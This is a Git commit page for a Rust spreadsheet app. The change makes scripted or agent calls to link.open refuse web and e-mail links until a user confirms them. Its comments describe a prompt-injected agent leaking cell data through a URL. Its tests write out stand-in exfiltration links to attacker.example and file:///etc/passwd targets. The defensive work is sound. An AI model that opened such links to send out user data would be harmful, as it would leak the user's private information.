mirror of
https://github.com/storytold/gridcraft.git
synced 2026-11-07 02:51:33 +00:00
link: require confirmation for programmatic link.open (#2181)
link.open is reachable by the control channel, CLI, MCP and workbook scripts, so it could open https://attacker/?d=<cell data> without the user seeing it. By default (LinkPolicy::Confirm) it now refuses web and e-mail addresses with an error and opens no dialog; references still navigate and other schemes stay refused. A host may opt in with LinkPolicy::Allow (Rust API only, no command sets it). The UI's Open Hyperlink prompt no longer runs a command on OK: it calls Session::open_confirmed_link with the address it showed, kept in a private field, so ui.dialog.confirm can't press OK and ui.dialog.set can't swap the address behind the prompt text. Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
1 parent
912b817abe
commit
79214fd287
6 files changed
+161
-17
No files matched your search
@@ -162,7 +162,7 @@ pub fn specs() -> Vec<CommandSpec> {
|
||||
"Open Hyperlink",
|
||||
[],
|
||||
None,
|
||||
"{url?: \"https://…\" | \"mailto:…\" | \"Sheet2!A1\", cell?} (default: the cell's link); only http, https and mailto are opened, any other scheme is an error; the UI asks before opening",
|
||||
"{url?: \"https://…\" | \"mailto:…\" | \"Sheet2!A1\", cell?} (default: the cell's link); a reference selects; a web or e-mail address is an error unless the host allows it: the user opens those by clicking the link and confirming; any scheme but http, https and mailto is always an error",
|
||||
has_doc,
|
||||
open_link
|
||||
),
|
||||
@@ -1199,9 +1199,11 @@ fn insert_link(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
})
|
||||
}
|
||||
|
||||
/// Follows a link: a reference selects it, an `http`/`https`/`mailto` address is handed to the
|
||||
/// host (`UiRequest::OpenUrl`); anything else is refused ([`crate::links::classify`]). Opens no
|
||||
/// dialog; the interactive click asks for confirmation first, in the UI.
|
||||
/// Follows a link: a reference selects it; anything else is refused ([`crate::links::classify`]).
|
||||
/// An `http`/`https`/`mailto` address is refused too unless the host set
|
||||
/// [`crate::links::LinkPolicy::Allow`]: every caller of a command may be a script or an agent, so
|
||||
/// the user opens such links by clicking and confirming, and the UI then calls
|
||||
/// [`Session::open_confirmed_link`] (#2181). Opens no dialog.
|
||||
fn open_link(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
let target = match str_param(p, "url").or_else(|| str_param(p, "target")) {
|
||||
Some(t) => t.to_string(),
|
||||
@@ -1217,6 +1219,9 @@ fn open_link(s: &mut Session, p: &Json) -> Result<Json> {
|
||||
match crate::links::classify(&target) {
|
||||
crate::links::LinkKind::Internal(r) => super::edit::go_to(s, &json!({"reference": r.trim_start_matches('#')})),
|
||||
crate::links::LinkKind::External(u) => {
|
||||
if s.link_policy != crate::links::LinkPolicy::Allow {
|
||||
return Err(EngineError::Other(crate::links::NEEDS_CONFIRMATION.into()));
|
||||
}
|
||||
s.ui_requests.push(crate::UiRequest::OpenUrl(u.clone()));
|
||||
Ok(json!({"opened": u}))
|
||||
}
|
||||
|
||||
@@ -256,6 +256,9 @@ pub struct Session {
|
||||
/// Review › Notes › Show All Notes: every note is displayed. An application display setting
|
||||
/// (like Excel's comment indicator option), so it's not saved in the file.
|
||||
pub show_all_notes: bool,
|
||||
/// Whether `link.open` may open web and e-mail addresses without the user's confirmation
|
||||
/// (#2181). Host code sets it; no command does.
|
||||
pub link_policy: links::LinkPolicy,
|
||||
}
|
||||
|
||||
impl Session {
|
||||
|
||||
@@ -2,8 +2,50 @@
|
||||
//! somebody sent), so it is hostile input: only `http`, `https` and `mailto` ever leave the
|
||||
//! workbook for the system; `file:`, `smb:`, UNC paths, custom URL handlers, `javascript:` and
|
||||
//! the like are refused. Everything without a scheme stays an in-workbook reference.
|
||||
//!
|
||||
//! Opening an allowed address also needs the user's say-so (#2181): `link.open` is reachable by
|
||||
//! the control channel, the CLI, MCP and workbook scripts, so a prompt-injected agent could open
|
||||
//! `https://attacker/?d=<cell data>`. Under the default [`LinkPolicy::Confirm`] the command refuses
|
||||
//! external addresses; only the host, after showing the address and getting OK from the user,
|
||||
//! opens one through [`crate::Session::open_confirmed_link`], which no command reaches.
|
||||
|
||||
use gridcraft_core::RangeRef;
|
||||
use serde_json::{Value as Json, json};
|
||||
|
||||
use crate::{EngineError, Result, Session, UiRequest};
|
||||
|
||||
/// Whether `link.open` may hand an external (`http`/`https`/`mailto`) address to the host without
|
||||
/// asking. Set by the host in code, never by a command, so a programmatic caller can't widen it.
|
||||
#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)]
|
||||
pub enum LinkPolicy {
|
||||
/// `link.open` refuses external addresses; the user opens them by clicking the link, which
|
||||
/// asks first ([`Session::open_confirmed_link`]). References still navigate.
|
||||
#[default]
|
||||
Confirm,
|
||||
/// The host trusts every caller of this session (an embedding that vets requests itself):
|
||||
/// `link.open` opens allowed addresses directly. Disallowed schemes stay refused.
|
||||
Allow,
|
||||
}
|
||||
|
||||
/// The error a programmatic `link.open` of a web or e-mail address returns.
|
||||
pub const NEEDS_CONFIRMATION: &str = "Web and e-mail links open only when the user clicks them and confirms; a command can't open them.";
|
||||
|
||||
impl Session {
|
||||
/// Opens a link the user has just confirmed in the host's "Open Hyperlink" prompt: an allowed
|
||||
/// address goes to the host (`UiRequest::OpenUrl`), a reference selects, anything else is
|
||||
/// refused ([`classify`]). Not a command: only host code that showed the user this exact
|
||||
/// address may call it.
|
||||
pub fn open_confirmed_link(&mut self, target: &str) -> Result<Json> {
|
||||
match classify(target) {
|
||||
LinkKind::Internal(r) => self.execute("edit.goTo", json!({"reference": r.trim_start_matches('#')})),
|
||||
LinkKind::External(u) => {
|
||||
self.ui_requests.push(UiRequest::OpenUrl(u.clone()));
|
||||
Ok(json!({"opened": u}))
|
||||
}
|
||||
LinkKind::Refused(why) => Err(EngineError::Other(why)),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// What a link target is.
|
||||
#[derive(Clone, Debug, PartialEq, Eq)]
|
||||
|
||||
@@ -3268,12 +3268,57 @@ fn link_open_refuses_every_scheme_but_http_https_and_mailto() {
|
||||
}
|
||||
assert!(s.execute("link.open", json!({"cell": "A1"})).is_err());
|
||||
assert!(s.take_ui_requests().is_empty());
|
||||
// A host's `Allow` policy opens web and e-mail addresses directly, and nothing else.
|
||||
s.link_policy = crate::links::LinkPolicy::Allow;
|
||||
for url in ["file:///etc/passwd", "smb://h/s", "\\\\h\\s", "JAVASCRIPT:1"] {
|
||||
assert!(s.execute("link.open", json!({"url": url})).is_err(), "{url}");
|
||||
}
|
||||
assert!(s.take_ui_requests().is_empty());
|
||||
s.execute("link.open", json!({"url": "HTTPS://example.org/a"})).unwrap();
|
||||
assert_eq!(s.take_ui_requests(), vec![crate::UiRequest::OpenUrl("HTTPS://example.org/a".into())]);
|
||||
s.execute("link.open", json!({"url": "B2"})).unwrap();
|
||||
assert!(s.take_ui_requests().is_empty());
|
||||
}
|
||||
|
||||
/// #2181: `link.open` is reachable by the control channel, CLI, MCP and scripts, so by default it
|
||||
/// opens no web or e-mail address (an exfiltration channel: `https://attacker/?d=<cell data>`)
|
||||
/// and asks for no dialog either; only the host's confirmed path opens one.
|
||||
#[test]
|
||||
fn programmatic_link_open_never_opens_an_external_address_without_confirmation() {
|
||||
let mut s = s();
|
||||
assert_eq!(s.link_policy, crate::links::LinkPolicy::Confirm, "confirmation is the default");
|
||||
s.execute("cell.set", json!({"cell": "A1", "input": "secret"})).unwrap();
|
||||
s.execute("insert.link", json!({"cell": "B1", "target": "https://attacker.example/?d=secret"})).unwrap();
|
||||
s.execute("insert.link", json!({"cell": "C1", "target": "mailto:x@attacker.example"})).unwrap();
|
||||
s.take_ui_requests();
|
||||
for p in [
|
||||
json!({"url": "https://attacker.example/?d=secret"}),
|
||||
json!({"url": "http://attacker.example"}),
|
||||
json!({"target": "MAILTO:x@attacker.example"}),
|
||||
json!({"cell": "B1"}),
|
||||
json!({"cell": "C1"}),
|
||||
] {
|
||||
let e = s.execute("link.open", p.clone()).unwrap_err().to_string();
|
||||
assert!(e.contains(crate::links::NEEDS_CONFIRMATION), "{p}: {e}");
|
||||
}
|
||||
assert!(s.take_ui_requests().is_empty(), "no OpenUrl and no dialog for a programmatic caller");
|
||||
assert!(s.execute_headless("link.open", json!({"cell": "B1"})).is_err());
|
||||
assert!(s.take_ui_requests().is_empty());
|
||||
// References still navigate.
|
||||
s.execute("link.open", json!({"url": "A1"})).unwrap();
|
||||
assert!(s.take_ui_requests().is_empty());
|
||||
|
||||
// The host's confirmed path opens the allowed address, and still refuses every other scheme.
|
||||
assert_eq!(s.open_confirmed_link(" https://example.org/a ").unwrap(), json!({"opened": "https://example.org/a"}));
|
||||
assert_eq!(s.take_ui_requests(), vec![crate::UiRequest::OpenUrl("https://example.org/a".into())]);
|
||||
for url in ["file:///etc/passwd", "\\\\h\\s", "javascript:1", "x-custom://a", "\u{1}https://a.example"] {
|
||||
assert!(s.open_confirmed_link(url).is_err(), "{url:?}");
|
||||
}
|
||||
assert!(s.take_ui_requests().is_empty());
|
||||
s.open_confirmed_link("Sheet1!C3").unwrap();
|
||||
assert_eq!(s.doc().unwrap().selection.active, CellRef::new(2, 2));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn subtotal_109_recalculates_when_row_height_or_autofit_reveals_rows() {
|
||||
let mut s = s();
|
||||
|
||||
@@ -40,6 +40,9 @@ pub struct Dialog {
|
||||
picture_target: Option<(u64, usize)>,
|
||||
/// The dialog this one was opened from (Name Manager › New…): it comes back when this closes.
|
||||
back: Option<Box<Dialog>>,
|
||||
/// Open Hyperlink: the address the prompt shows, which OK opens. Private, unlike `values`, so
|
||||
/// `ui.dialog.set` can't swap it behind the text the user reads (#2181).
|
||||
link: Option<String>,
|
||||
}
|
||||
|
||||
impl Dialog {
|
||||
@@ -73,6 +76,7 @@ impl Dialog {
|
||||
picture_inbox: None,
|
||||
picture_target: None,
|
||||
back: None,
|
||||
link: None,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -91,6 +95,7 @@ impl Dialog {
|
||||
picture_inbox: None,
|
||||
picture_target: None,
|
||||
back: None,
|
||||
link: None,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -349,19 +354,18 @@ impl Dialog {
|
||||
json!({"text": existing}),
|
||||
)
|
||||
}
|
||||
// Asks before a web or e-mail link leaves the workbook; OK runs `link.open`, which
|
||||
// refuses anything but http, https and mailto.
|
||||
// Asks before a web or e-mail link leaves the workbook. OK opens it through
|
||||
// `Session::open_confirmed_link` (which refuses anything but http, https and mailto),
|
||||
// not a command: `link.open` refuses web addresses for programmatic callers, and a
|
||||
// dialog without a command can't be confirmed over the control channel (#2181).
|
||||
"openLink" => {
|
||||
let url = params.get("url").and_then(Json::as_str).unwrap_or_default().to_string();
|
||||
Dialog::form(
|
||||
"openLink",
|
||||
"Open Hyperlink",
|
||||
"link.open",
|
||||
vec![Note(format!(
|
||||
"This workbook asks to open the address below. Links can lead to harmful sites or start other programs: open it only if you trust the workbook.\n\n{url}"
|
||||
))],
|
||||
json!({"url": url}),
|
||||
)
|
||||
let mut d = Dialog::custom("openLink", "Open Hyperlink", json!({"url": url}));
|
||||
d.fields = vec![Note(format!(
|
||||
"This workbook asks to open the address below. Links can lead to harmful sites or start other programs: open it only if you trust the workbook.\n\n{url}"
|
||||
))];
|
||||
d.link = Some(url);
|
||||
d
|
||||
}
|
||||
"insertLink" => Dialog::form(
|
||||
"insertLink",
|
||||
@@ -1256,6 +1260,13 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) {
|
||||
app.message = Some((d.title.clone(), "Return to the original worksheet to insert this picture, or cancel and choose another cell.".into()));
|
||||
confirm = false;
|
||||
}
|
||||
if confirm && d.name == "openLink" {
|
||||
confirm = false;
|
||||
open = false;
|
||||
if let Err(e) = open_confirmed_link(app, &d) {
|
||||
app.message = Some((d.title.clone(), crate::clean_error(&e)));
|
||||
}
|
||||
}
|
||||
if confirm && let Some(cmd) = d.command {
|
||||
let params = build_params(&d);
|
||||
match app.run(cmd, params) {
|
||||
@@ -1365,6 +1376,15 @@ fn paste_special_shortcuts(d: &mut Dialog, ctx: &egui::Context) {
|
||||
});
|
||||
}
|
||||
|
||||
/// The user pressed OK in Open Hyperlink: opens the address the prompt showed (`d.link`), never
|
||||
/// one a caller edited into its values afterwards.
|
||||
fn open_confirmed_link(app: &mut SheetApp, d: &Dialog) -> Result<(), String> {
|
||||
let url = d.link.as_deref().unwrap_or_default();
|
||||
let r = app.session.open_confirmed_link(url).map(|_| ()).map_err(|e| e.to_string());
|
||||
app.after_engine();
|
||||
r
|
||||
}
|
||||
|
||||
fn ok_cancel(ui: &mut egui::Ui, confirm: &mut bool, open: &mut bool) {
|
||||
ui.add_space(8.0);
|
||||
ui.with_layout(egui::Layout::right_to_left(egui::Align::Center), |ui| {
|
||||
@@ -2729,6 +2749,34 @@ mod tests {
|
||||
assert!(gridcraft_engine::cmd::data::check_validation(&doc.wb, 0, at, "4").is_some());
|
||||
}
|
||||
|
||||
/// #2181: a programmatic `link.open` opens nothing; the Open Hyperlink prompt has no command
|
||||
/// the control channel could confirm, and its OK opens exactly the address it showed.
|
||||
#[test]
|
||||
fn open_hyperlink_opens_only_the_address_the_user_confirmed() {
|
||||
use std::{cell::RefCell, rc::Rc};
|
||||
let opened = Rc::new(RefCell::new(Vec::<String>::new()));
|
||||
let sink = opened.clone();
|
||||
let services = crate::Services { open_url: Some(Box::new(move |u: &str| sink.borrow_mut().push(u.to_string()))), ..Default::default() };
|
||||
let mut session = gridcraft_engine::Session::default();
|
||||
session.new_workbook();
|
||||
let mut app = SheetApp::new(session, services);
|
||||
assert!(app.run("link.open", json!({"url": "https://attacker.example/?d=secret"})).is_err());
|
||||
app.after_engine();
|
||||
assert!(opened.borrow().is_empty(), "a programmatic link.open opens nothing");
|
||||
assert!(app.dialog.is_none(), "and opens no dialog");
|
||||
|
||||
let mut d = Dialog::open(&mut app, "openLink", json!({"url": "https://example.org/a"})).unwrap();
|
||||
assert!(d.command.is_none(), "`ui.dialog.confirm` can't press OK for the user");
|
||||
// A value edited behind the prompt's text is ignored: OK opens what the user read.
|
||||
d.set_value("url", json!("https://attacker.example/?d=secret"));
|
||||
open_confirmed_link(&mut app, &d).unwrap();
|
||||
assert_eq!(*opened.borrow(), vec!["https://example.org/a".to_string()]);
|
||||
|
||||
let bad = Dialog::open(&mut app, "openLink", json!({"url": "file:///etc/passwd"})).unwrap();
|
||||
assert!(open_confirmed_link(&mut app, &bad).is_err());
|
||||
assert_eq!(opened.borrow().len(), 1);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn data_validation_without_a_rule_opens_on_a_blank_list() {
|
||||
let mut session = gridcraft_engine::Session::default();
|
||||
|
||||
@@ -2556,8 +2556,9 @@ fn delete_selected_object(app: &mut SheetApp, sh: &Sheet) -> bool {
|
||||
}
|
||||
|
||||
/// A click on a hyperlink. References select; web and e-mail addresses ask first (the dialog's
|
||||
/// OK runs `link.open`); every other kind is refused with a message. The decision is the
|
||||
/// engine's ([`gridcraft_engine::links::classify`]), the same one `link.open` applies.
|
||||
/// OK calls `Session::open_confirmed_link`, since `link.open` refuses them for programmatic
|
||||
/// callers, #2181); every other kind is refused with a message. The decision is the engine's
|
||||
/// ([`gridcraft_engine::links::classify`]), the same one `link.open` applies.
|
||||
pub fn follow_link(app: &mut SheetApp, target: &str) {
|
||||
use gridcraft_engine::links::{LinkKind, classify};
|
||||
match classify(target) {
|
||||
|
||||
Reference in new issue
Block a user